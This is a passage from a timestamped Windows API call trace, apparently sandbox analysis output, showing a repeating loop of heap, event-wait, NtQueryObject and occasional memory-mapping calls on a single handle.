Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.490] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.490] ResetEvent (hEvent=0xe8) returned 1 [0148.490] SetEvent (hEvent=0xec) returned 1 [0148.491] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.491] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.491] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.491] ResetEvent (hEvent=0xe8) returned 1 [0148.491] SetEvent (hEvent=0xec) returned 1 [0148.491] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.491] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.491] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.491] ResetEvent (hEvent=0xe8) returned 1 [0148.491] SetEvent (hEvent=0xec) returned 1 [0148.492] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.492] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.492] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.492] ResetEvent (hEvent=0xe8) returned 1 [0148.492] SetEvent (hEvent=0xec) returned 1 [0148.492] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.492] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.493] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.493] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.493] ResetEvent (hEvent=0xe8) returned 1 [0148.493] SetEvent (hEvent=0xec) returned 1 [0148.493] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.493] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.493] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.493] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.493] ResetEvent (hEvent=0xe8) returned 1 [0148.493] SetEvent (hEvent=0xec) returned 1 [0148.494] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.494] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.494] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.494] ResetEvent (hEvent=0xe8) returned 1 [0148.494] SetEvent (hEvent=0xec) returned 1 [0148.494] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.494] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.494] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.494] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.494] ResetEvent (hEvent=0xe8) returned 1 [0148.494] SetEvent (hEvent=0xec) returned 1 [0148.495] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.495] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.495] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.495] ResetEvent (hEvent=0xe8) returned 1 [0148.495] SetEvent (hEvent=0xec) returned 1 [0148.495] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.495] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.495] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.495] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.495] ResetEvent (hEvent=0xe8) returned 1 [0148.495] SetEvent (hEvent=0xec) returned 1 [0148.496] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.496] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.496] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.496] ResetEvent (hEvent=0xe8) returned 1 [0148.496] SetEvent (hEvent=0xec) returned 1 [0148.496] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.496] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.496] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.496] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.497] ResetEvent (hEvent=0xe8) returned 1 [0148.497] SetEvent (hEvent=0xec) returned 1 [0148.497] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.497] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.497] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.497] ResetEvent (hEvent=0xe8) returned 1 [0148.497] SetEvent (hEvent=0xec) returned 1 [0148.497] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.497] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.498] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.498] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.498] ResetEvent (hEvent=0xe8) returned 1 [0148.498] SetEvent (hEvent=0xec) returned 1 [0148.498] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.498] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.498] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.498] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.498] ResetEvent (hEvent=0xe8) returned 1 [0148.498] SetEvent (hEvent=0xec) returned 1 [0148.499] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.499] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.499] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.499] ResetEvent (hEvent=0xe8) returned 1 [0148.499] SetEvent (hEvent=0xec) returned 1 [0148.499] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.499] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.499] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.499] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.499] ResetEvent (hEvent=0xe8) returned 1 [0148.499] SetEvent (hEvent=0xec) returned 1 [0148.500] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.500] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.500] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.500] ResetEvent (hEvent=0xe8) returned 1 [0148.500] SetEvent (hEvent=0xec) returned 1 [0148.500] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.500] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.500] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.500] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.500] ResetEvent (hEvent=0xe8) returned 1 [0148.500] SetEvent (hEvent=0xec) returned 1 [0148.501] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.501] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.501] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.501] ResetEvent (hEvent=0xe8) returned 1 [0148.501] SetEvent (hEvent=0xec) returned 1 [0148.501] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.501] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.501] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.501] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.502] ResetEvent (hEvent=0xe8) returned 1 [0148.502] SetEvent (hEvent=0xec) returned 1 [0148.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.502] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.502] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.502] ResetEvent (hEvent=0xe8) returned 1 [0148.502] SetEvent (hEvent=0xec) returned 1 [0148.502] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.502] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.503] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.503] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.503] ResetEvent (hEvent=0xe8) returned 1 [0148.503] SetEvent (hEvent=0xec) returned 1 [0148.503] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.503] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.503] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.503] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.503] ResetEvent (hEvent=0xe8) returned 1 [0148.503] SetEvent (hEvent=0xec) returned 1 [0148.504] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.504] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.504] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.504] ResetEvent (hEvent=0xe8) returned 1 [0148.504] SetEvent (hEvent=0xec) returned 1 [0148.504] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.504] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.504] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.504] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.504] ResetEvent (hEvent=0xe8) returned 1 [0148.504] SetEvent (hEvent=0xec) returned 1 [0148.505] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.505] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.505] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.505] ResetEvent (hEvent=0xe8) returned 1 [0148.505] SetEvent (hEvent=0xec) returned 1 [0148.505] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.505] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.505] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.505] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.505] ResetEvent (hEvent=0xe8) returned 1 [0148.505] SetEvent (hEvent=0xec) returned 1 [0148.506] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.506] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.506] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.506] ResetEvent (hEvent=0xe8) returned 1 [0148.506] SetEvent (hEvent=0xec) returned 1 [0148.506] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.506] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.506] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.506] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.507] ResetEvent (hEvent=0xe8) returned 1 [0148.507] SetEvent (hEvent=0xec) returned 1 [0148.507] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.507] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.507] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.507] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.507] ResetEvent (hEvent=0xe8) returned 1 [0148.507] SetEvent (hEvent=0xec) returned 1 [0148.507] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.508] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.508] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.508] ResetEvent (hEvent=0xe8) returned 1 [0148.508] SetEvent (hEvent=0xec) returned 1 [0148.508] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.508] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.508] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.508] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.508] ResetEvent (hEvent=0xe8) returned 1 [0148.508] SetEvent (hEvent=0xec) returned 1 [0148.509] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.509] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.509] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.509] ResetEvent (hEvent=0xe8) returned 1 [0148.509] SetEvent (hEvent=0xec) returned 1 [0148.509] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.509] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.509] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.509] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.509] ResetEvent (hEvent=0xe8) returned 1 [0148.510] SetEvent (hEvent=0xec) returned 1 [0148.510] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.510] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.510] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.510] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.510] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.510] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.510] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.510] ResetEvent (hEvent=0xe8) returned 1 [0148.510] SetEvent (hEvent=0xec) returned 1 [0148.511] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.511] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.511] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.511] ResetEvent (hEvent=0xe8) returned 1 [0148.511] SetEvent (hEvent=0xec) returned 1 [0148.511] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.511] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.511] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.511] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.511] ResetEvent (hEvent=0xe8) returned 1 [0148.511] SetEvent (hEvent=0xec) returned 1 [0148.512] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.512] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.512] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.512] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.512] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x250000 [0148.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x250000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x980048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x980048, ResultLength=0x0) returned 0xc0000098 [0148.512] UnmapViewOfFile (lpBaseAddress=0x250000) returned 1 [0148.512] ResetEvent (hEvent=0xe8) returned 1 [0148.512] SetEvent (hEvent=0xec) returned 1 [0148.512] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0148.512] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0148.513] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0148.513] NtQueryObject (in: Handle=0x15c, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0148.513] ResetEvent (hEvent=0xe8) returned 1 [0148.513] SetEvent (hEvent=0xec) returned 1 [0148.513] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 